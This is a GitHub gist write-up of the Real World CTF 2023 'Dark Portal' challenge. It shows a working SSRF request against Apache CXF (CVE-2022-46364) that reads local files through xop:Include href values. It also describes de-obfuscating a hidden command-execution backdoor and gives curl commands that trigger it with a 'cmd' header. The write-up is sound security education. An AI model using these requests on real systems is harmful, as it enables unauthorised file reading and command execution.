Skip to content

Instantly share code, notes, and snippets.

@farisv
Last active January 18, 2023 06:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save farisv/d30df98263d6dea7bad4eedd497a2408 to your computer and use it in GitHub Desktop.
Save farisv/d30df98263d6dea7bad4eedd497a2408 to your computer and use it in GitHub Desktop.
Real World CTF 5th (2023): Dark Portal Writeup

Real World CTF 5th (2023): Dark Portal Writeup

I participated in the Real World CTF 5th with new team SKSD and got the 12th place, enough to get the merchandise prize this year. Usually top 12 of Real World CTF got invited to China for final, but this year's competition is online only.

This is the write-up of one of the web challenges, Dark Portal.

Problem

Score: 304

The dark portal is fulfilled with unlimited chaos, twisted runes, and endless darkness, you shall follow the guidance of your mentor Apache.CXF to find it. Then, try your best to pass through..."

TLDR

  • It's a Java web application that uses vulnerable third-party component (Apache.CXF) without public exploit so we need to reverse engineer the patch or correctly understand the CVE description.
  • From the vulnerable third-party component, it's possible to download local file such as the WAR file.
  • We need to analyze the decompiled Java classes and defeat the obfuscation to identify a hidden backdoor.

Real world?

The CVE part is easy but the obfuscation part is hard. Only a few teams could solve it during the competition. Although a hidden backdoor is not usually present in real world application, many vulnerabilities could be identified by decompiling the Java classess and some of them require heavy de-obfuscation.

Technical Detail

As per hint, the web service is using Apache CXF and its latest CVE is CVE-2022-46364 (Server-Side Request Forgery) but there is no public exploit for it.

The description of CVE-2022-46364 is:

A SSRF vulnerability in parsing the href attribute of XOP:Include in MTOM requests in versions of Apache CXF before 3.5.5 and 3.4.10 allows an attacker to perform SSRF style attacks on webservices that take at least one parameter of any type.

From the /services/guidance?wsdl, we guessed it requires arg0 as the argument for showMe function. We tried to use arg0 in the SOAP request and then the service returned the value back.

Based on the vulnerability description, the vulnerability exists in href attribute of XOP:include. From the W3C document, we know XOP is the XML-binary Optimized Packaging and it can be used with the following syntax

<xop:Include xmlns:xop='http://www.w3.org/2004/08/xop/include' href='cid:http://example.org/me.png'/>

Based on the specification, the URL value for the href attribute value should start with cid:. From this GitHub commit for Apache CXF, we can see if the prefix of the value is not cid: and it contains ://, the code will use URLDataSource to load the content of the URL.

    public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
        // Is this right? - DD
        if (contentId.startsWith("cid:")) {
            try {
                contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
            } catch (UnsupportedEncodingException ue) {
                contentId = contentId.substring(4);
            }
            return loadDataSource(contentId, atts);
        } else if (contentId.indexOf("://") == -1) {
            return loadDataSource(contentId, atts);
        } else {
            try {
                return new URLDataSource(new URL(contentId));

It's quite hilarious that the original code contains the comment ("Is this right") and turned out it's really not right

We can confirm the SSRF vulnerability by using the following request.

Request

POST /services/guidance HTTP/1.1
Host: 198.11.177.96:35408
Content-Type: Multipart/Related; start-info="text/xml"; type="application/xop+xml"; boundary="----=_Part_1_4558657.1118953559446"
Connection: close
Content-Length: 504

------=_Part_1_4558657.1118953559446
Content-Type: application/xop+xml; type="text/xml"; charset=utf-8

<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'>
  <soap:Body>
    <ns1:showMe xmlns:ns1='http://rwctf2023.rw.com/'>
         <arg0>
                <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://127.0.0.1:8080/7he_d4rk_p0rt4l" />
            </arg0>
    </ns1:showMe>
  </soap:Body>
</soap:Envelope>
------=_Part_1_4558657.1118953559446

Response

HTTP/1.1 200 
Content-Type: text/xml;charset=UTF-8
Content-Length: 388
Date: Mon, 09 Jan 2023 17:04:22 GMT
Connection: close

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:showMeResponse xmlns:ns2="http://rwctf2023.rw.com/"><return>The Eternal Sun guides us. Here is your result: SW4gdGltZXMgSSB3aXNoZWQgeW91ciBoZWFydCBoYWQgbWFkZSBhIGRpZmZlcmVudCBjaG9pY2UuIEluIHRoZSBlbmQsIEkga25vdyBpdCBtYWRlIHRoZSByaWdodCBvbmUuCg==</return></ns2:showMeResponse></soap:Body></soap:Envelope>

We successfully get the base64 content of the http://127.0.0.1:8080/7he_d4rk_p0rt4l.

Since the URLDataSource supports file:// protocol, we can perform arbitrary local file read and directory listing. By using file:/// as href value, we can see there is a flag file and readflag binary. The flag file cannot be readed directly and we need to execute readflag binary.

We found the WAR file of the website (/opt/tomcat/webapps/ROOT.war) and downloaded it with the vulnerability.

Inside the WAR file, apart from the JSP files and other standard files, we can find four compiled Java classes:

  • DarkMagic.class
  • GuidanceService.class
  • GuidanceServiceImpl.class
  • TheDarkPortal.class

Both GuidanceService.class and GuidanceServiceImpl.class are the handler for Apache CXF. The DarkPortal.class serves the “7he_d4rk_p0rt4l” path via doGet method and call the DarkMagic.invoke(). The DarkMagic.class is heavily obfuscated, probably with custom obfuscator.

Some observations on the decompiled DarkMagic class:

  • It uses non standard name for instance variables and methods (something like "{/{/I/I/I/I/I/I{I{{{/I/{{/{I{/I”).
  • One of the instance variables is array of String that is used for operations related to assigning the value of array’s element with Base64 string and decryption.
  • The method that will decrypt the value of the String from that array has 2 parameters (first parameter is the index of the array’s element that will be decrypted and the second parameter is used to generate the key).
  • There are bunches of invokedynamic operations that will perform dynamic code execution, probably based on the decrypted value of the encrypted string.

Since it’s hard to do static analysis to reverse the encryption and determine the flow of the application, we tried dynamic analysis.

First, we need to find a way to run the Tomcat with the service’s ROOT.war similar with challenge’s environment. From /proc/self/environ, we know that the service runs on Tomcat 8.

We use Docker for deployment. The current directory contains the ROOT.war file.

docker run --rm -p 127.0.0.1:8000:8080 -v "$PWD":/usr/local/tomcat/webapps/ tomcat:8

The first dynamic analysis that we tried was using Java agent to trace the method calls and return value. We used https://github.com/attilapiros/trace-agent and failed because of compatibility issue. We switched to Tomcat 7 and it’s still failed because one of its dependencies, ByteBuddy, cannot instrument the DarkMagic class because it contains invalid field name due to obfuscation (probably the weird field name of the class serves as an anti-debugger too).

We finally used the old-fashioned-way using jdb.

To open the Java Debug Wire Protocol (JDWP) on Tomcat, we can add the parameter via CATALINA_OPTS environment variable.

docker run --name dark_portal --rm -p 127.0.0.1:8000:8080 -v "$PWD":/usr/local/tomcat/webapps/ -e CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,address=5005,server=y,suspend=n" tomcat:8

The JWDP will be accessible via port 5005. Then, from local, we can run jdb -attach 5005 to interact with the debugger.

We can’t set breakpoint at the encryption method because of the jdb will consider the method name as invalid name. Alternatively, we can set breakpoint at other methods including methods from Java libraries such as Cipher, String, or Base64 libraries.

            n2 ^= 0x60L;
            n2 ^= 0x3F40B9DFD534CF89L;
            final Cipher instance = Cipher.getInstance("DES/CBC/PKCS5Padding");
            final SecretKeyFactory instance2 = SecretKeyFactory.getInstance("DES");
            final byte[] key = new byte[8];
            key[0] = (byte)(n2 >>> 56);
            for (int i = 1; i < 8; ++i) {
                key[i] = (byte)(n2 << i * 8 >>> 56 << n);
            }
            instance.init(2, instance2.generateSecret(new DESKeySpec(key)), new IvParameterSpec(new byte[8]));
            DarkMagic.II\{\I\{\II\{\{I\II{{\{{I\{{\{[n] = new String(instance.doFinal(Base64.getDecoder().decode(DarkMagic.{   

From the code, we assumed the result of decryption will be used as the parameter for new String(...).

We can use jdb to set the breakpoint at the constructor of the String where the parameter type is the type of return value of the Cipher’s doFinal method. From javax.crypto.Cipher’s implementation, we can determine that the doFinal returns array of byte. From java.lang.String’s implementation, we know there is a constructor that accepts array of byte as parameter and the name of that parameter is bytes.

In jdb, set breakpoint to java.lang.String.<init>(byte[]). Ensure that the “7he_d4rk_p0rt4l” page hasn’t been visited, otherwise the instance needs to be restarted. When visiting “7he_d4rk_p0rt4l” page for the first time, the debugger will break at the String’s constructor method. We can dump the value of the parameter of the constructor by using dump bytes (the parameter name of String’s constructor is “bytes” as mentioned before). We can use cont to continue until we get all the result of decryption processes during the the visit to the page for the first time.

We can get the readable string by converting the bytes to the corresponding characters.

For the first phase, we get the following strings.

'You Are Not Prepared!'
'You Are Not Prepared!'
'My destiny is my own.'
'You learned that the things that once tormented you could give you power.'
'Sometimes the hand of fate must be forced.'
'In times I wished your heart had made a different choice. In the end, I know it made the right one.'
'You wish to know the difference between the demons and us? They will stop at nothing to destroy our world. And we will sacrifice everything to save it.'
'Betrayer... in truth, it was I who was betrayed. Still, I am hunted. Still, I am hated. Now, my blind eyes see what others cannot. And sometimes the hand of fate must be forced.'
'cmd'
'javax.servlet.http.HttpServletRequest'
'(Ljava/lang/String;)Ljava/lang/String;'
'getHeader'
'User-Agent'
'javax.servlet.http.HttpServletRequest'
'(Ljava/lang/String;)Ljava/lang/String;'
'getHeader'
'curses'
'javax.servlet.http.HttpServletRequest'
'(Ljava/lang/String;)Ljava/lang/String;'
'getParameter'
'The Argent Dawn'
'java.util.Objects'
'(Ljava/lang/Object;Ljava/lang/Object;)Z'
'equals'
'javax.servlet.http.HttpServletResponse'
'()Ljava/io/PrintWriter;'
'getWriter'
'com.rw.rwctf2023.DarkMagic'
'([Ljava/lang/String;)Ljava/lang/String;'
'randomChoice'
'java.util.Random'
'(I)I'
'nextInt'
'java.io.PrintWriter'
'(Ljava/lang/String;)V'
'println'

There are several strings that looked like will be used for invokedynamic processes.

By analyzing the order, we guessed that the Java code will invoke the call to HttpServletRequest->getHeader(“cmd”), HttpServletRequest->getHeader(“User-Agent”), and HttpServletRequest->getParameter(“curses”). There is also equals operation that we assumed it will compare the value with The Argent Dawn. We can also verify this with jdb by setting the breakpoint to org.apache.catalina.connector.getHeader(java.lang.String) (note that the javax.servlet.http.HttpServletRequest is only the interface used by Catalina) and org.apache.catalina.connector.geParameter(java.lang.String).

After trying to place The Argent Dawn one by one in header and query param, we can get another decrypted strings via breakpoint + dump in jdb by triggering the following request.

curl "http://localhost:8000/7he_d4rk_p0rt4l?curses=xxx" -H 'User-Agent: The Argent Dawn' -H 'cmd: xxxx'

The following strings are recovered.

'Victory or death!'
'java.lang.String'
'()[B'
'getBytes'
'HmacSHA256'
'HmacSHA256'
'javax.crypto.Mac'
'(Ljava/lang/String;)Ljavax/crypto/Mac;'
'getInstance'
'javax.crypto.Mac'
'(Ljava/security/Key;)V'
'init'
'Lok-tar ogar'
'java.lang.String'
'()[B'
'getBytes'
'javax.crypto.Mac'
'([B)[B'
'doFinal'
'java.util.Base64'
'()Ljava/util/Base64$Encoder;'
'getEncoder'
'java.util.Base64$Encoder'
'([B)[B'
'encode'
'5IKRjJICv2BPpCEGG1TF5o+Z6aCHqifjjvlQVJa7vOI='
'java.lang.String'
'(Ljava/lang/Object;)Z'
'equals'
'javax.servlet.http.HttpServletResponse'
'()Ljava/io/PrintWriter;'
'getWriter'
'com.rw.rwctf2023.DarkMagic'
'([Ljava/lang/String;)Ljava/lang/String;'
'randomChoice'
'java.io.PrintWriter'
'(Ljava/lang/String;)V'
'println'

There is an operation related to MAC. By experimentation, we know that the “Lok-tar ogar” is MAC-signed with the key “Victory or death!” and encoded with Base64 to produce the “5IKRjJICv2BPpCEGG1TF5o+Z6aCHqifjjvlQVJa7vOI=”. We were not sure what value we need to supply for either “curses” or “cmd”. We then found out that by setting breakpoint in java.lang.Object.equals, we know that the Base64 string will be compared with the value from “curses”.

curl "http://localhost:8000/7he_d4rk_p0rt4l?curses=5IKRjJICv2BPpCEGG1TF5o%2bZ6aCHqifjjvlQVJa7vOI=" -H 'User-Agent: The Argent Dawn' -H 'cmd: xxxx'

We then get bunches of breakpoints and could recover other decrypted strings.

'java.lang.Runtime'
'java.lang.Class'
'(Ljava/lang/String;)Ljava/lang/Class;'
'forName'
'getRuntime'
'java.lang.Class'
'(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;'
'getMethod'
'java.lang.Runtime'
'java.lang.Class'
'(Ljava/lang/String;)Ljava/lang/Class;'
'forName'
'exec'
….

There is a reference to java.lang.Runtime.exec. We guessed we could trigger the backdoor by supplying the shell command via cmd value in the header. We tried in local and it works. We assumed this is a hidden backdoor in the application.

We could execute the /readflag in the server by using the same backdoor.

curl "http://198.11.177.96:36436//7he_d4rk_p0rt4l?curses=5IKRjJICv2BPpCEGG1TF5o%2bZ6aCHqifjjvlQVJa7vOI=" -H 'User-Agent: The Argent Dawn' -H 'cmd: /readflag'
                                                                                                                                                           
rwctf{rwctf_N0w_y0u_4RE_prep4red_17a0}

Guessing

You may think our approach requires guessing because we guessed the flow correctly by just reading the value of decrypted strings. Actually, we guessed it because we wanted to solve the problem fast (because of other web problems, we worked on this task quite late and we finally could get the flag 10 minutes before the competition ends). We can still do proper dynamic analysis by setting-up breakpoint at other functionalities such as invokedynamic.

There is also another possible way by replacing the non-standard field and method names then rebuild the WAR file so we can set up breakpoint in any methods or possibly run the Java agent to trace the execution without any problem.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment